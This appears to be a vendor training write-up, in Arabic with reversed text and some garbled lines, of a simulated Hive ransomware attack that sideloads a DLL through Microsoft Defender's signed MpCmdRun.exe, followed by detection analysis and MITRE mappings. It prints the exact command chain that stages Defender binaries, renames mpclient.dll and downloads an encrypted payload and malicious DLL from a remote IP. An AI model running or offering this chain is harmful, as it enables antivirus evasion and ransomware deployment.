
Dll (Hive) نقح - بيردتلا تانايب

DLL نقح ربع ةرفشم (ريو موسنار) ةثيبخ ةيجمرب ةلومح ذفننس ،يبيردتلا ويرانيسلا اذه يف
،هئاشنإب مجاهم موقي دق امك ،صصخم DLL فلم ءاشنإ مت .اًيمقر عّقوملا MS Defender جمانرب يف
.هذيفنتو يمهو log. فلم ريفشت كفب موقي يذلاو

ناك اذإ اميس ال ،عّقوم بأ رصنع اهأدبي يتلا تايلمعلا ةطاسبب نامألا تاودأ نم ديدعلا لهاجتت
يف ةحومسم طقف تسيل Defender رماوأف .Defender صخأ لكشبو ،اًعّقوم تاسوريف داضم جمانرب
حالسك هلالغتسا متي يذلا رمألا ،انه .ةياغلل ةعفترم تايحالص تاذ نوكت ام اًبلاغ لب ،بلاغلا
نع ثحب ةيلمع يأ لبِق نم هلهاجت متيس لب ،اًعئاش طقف سيل رمأ وهو ،تاعيقوتلل ثيدحت وه
(living off the land) "ضرألا جراخ شيعلا" تاينقت عم ىتح هنأ انه حضون .ةثيبخلا تايجمربلا
يجمرب صن زيهجت لالخ نم ةعفترم تايحالص تاذ تالومح ذيفنت مجاهملل نكمي ،ةطيسبلا
.زاهجلا ىلع ةصصخم نقح تاودأ ىلإ ةجاحلا نود طيسب

ءيش يأ ثدحي ال هنأ ظحال .ةيحضلا زاهج ىلع هليغشت مت يذلا قيقدلا يجمربلا صنلا يلي اميف
زاربإل طقف متي زيهجت دلجم ىلإ ةيذيفنتلا Defender تافلم خسنف ،حيرص لكشب راض
C:\staging تافلم .يرذجلا ببسلا ليلحت يف 

:رطسب اًرطس رمألا ليصفت

1. زيهجتلا دلجم ءاشنإ
2. زيهجتلا دلجم ىلإ Defender خسن
3. يقيقحلا mpclient.dll فلم ةيمست ةداعإ
4. ديعب مداخ نم ثيبخلا DLL فلمو رفشملا "log" فلم ليزنت

??????? ?????? - ??? DLL

??? ????????

?????????

mkdir C:\staging

copy C:\Windows\WinSxS\amd64_windows-defender-

service_31bf3856ad364e35_10.0.19041.746_none_a39f6d9ab59bd8b7\* C:\staging

move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging

curl 169.254.247.102:8000/0x80004006.log -outfile 0x80004006.log; curl 

169.254.247.102:8000/mpclient.dll -outfile mpclient.dll

./MpCmdRun.exe -SignatureUpdate



5. تاعيقوتلا ثيدحت ةمهمب يقيقحلا عّقوملا MpCmdRun ذيفنت

MpCmdRun.exe

ةباجتسالا ةيلآلا 

نم اهتيؤر قبسي مل ةيلمع .كنهذ يف قدتس راذنإلا سارجأ نإف ،ةيلآلا ةباجتسالا نم ًةيادب
،كلذ عمو .ةعّقوم ريغ يهو Cyber Crucible تقلطأو اهذيفنت مت ،(GUID) اًيئاوشع اًمسا لمحت ،لبق
ـك اًدمع هكرت مت .رهاظلا يف قلقلل ةراثإ لقأ اًئيش نوكي نأ نكمي ناك انه راسملا نأ ظحال
C:\staging هزاربإل.

حجرملا نم .كانه ىلإ لصو فيك ةفرعمو فلملا كلذ ىلع روثعلا نوكتس ةيروفلا ةيلاتلا ةوطخلا
Cyber Crucible يف تايلمعلا ءاشنإ تالجس ىلإ عوجرلا اننكمي نكل ،اًيئاقلت هفذح مت هنأ
.لوألا ماقملا يف هليغشتب ماق نم ةفرعمل

?????? ????



Powershell → MpCmdRun → {7374F…}

ـل اًيذيفنت اًفلم powershell ةغلب يجمرب صن أدب ،هالعأ ويرانيسلا يف حضوم وه امك اًمامت
Defender، نم ديدعلا ةثيبخلا ةلومحلا تقلطأ مث .ةفيخملا انتيلمع قلطأ هرودب يذلاو
تايلمعلا هذه ىلع ةيؤرلا رفوت ام اًبلاغ .ةعونتم زيهجت ماهمب مايقلل ةيعرفلا تايلمعلا
مت يتلا لجسلا حيتافمو ،ماظنلا ىلع اهؤاشنإ مت يتلا تافلملا ىلع ةبقاث ةرظن ةيفلخلا
.كلذ ىلإ امو ،(worming) يتاذلا راشتنالا طاشنو ،اهليدعت

كولس ناك  ىقبيس  ريغ"  يئرم  الول " كلذ 



رمأ ةلصلا تاذ تايلمعلا ليلحت نكلو ،Cyber Crucible ةطساوب موجهلا ءاوتحا مت ،ةلحرملا هذه يف
اًرمأ هدحو عّقوملا ريغ يذيفنتلا فلملا ذيفنت ودبي دق .ةثيبخلا تايكولسلا قاطن ديدحتل مهم
تايلمعلا لهاجت ةطاسبب متي نايحألا نم ريثك يف نكلو ،Cyber Crucible هضرعي امدنع اًحضاو
.Defender لثم ةيامحو تايحالصب عتمتي جمانرب اهأدبي يتلا ةيفلخلا

Mitre T1543 - ةثيبخلا ةرفيشلا هيومت ىلإ ماظن ةيلمع ليدعت وأ ءاشنإ يدؤي نأ نكمي
.ةثيبخلا تايجمربلا نع فشكلا تاودأ مامأ ةقوثومو ةيداع ماظن ةيلمعك
Mitre T1068 - ةيجمربلا تارغثلا ربع تايحالصلا ديعصت ذيفنت حيتي نأ نكمي
.ةيضارتفالا تائيبلا نم وأ تايحالصلا دويق نم تالفإلا ةثيبخلا ةرفيشلل
Mitre T1055-001 - نقح مادختسا نكمي DLL امإ ،ام ةيلمع يف ةثيبخ ةرفيش ليمحتل
DLL فلم لادبتساب وأ ديدج DLL فلم ليمحتل ةطاسبب ةفدهتسملا ةيلمعلا هيجوتب
.هليمحت لبق يعرش
Mitre T1059-001 - ـب ةصاخلا ةثيبخلا تايجمربلا مدختست ام اًبلاغ Windows ةادأ
PowerShell ةيعرشلا تافلملا لادبتسا لثم ،ةثيبخلا تايجمربلا دادعإ ذيفنتل
.ةثيبخ تافلمب

??????? ??? ?????
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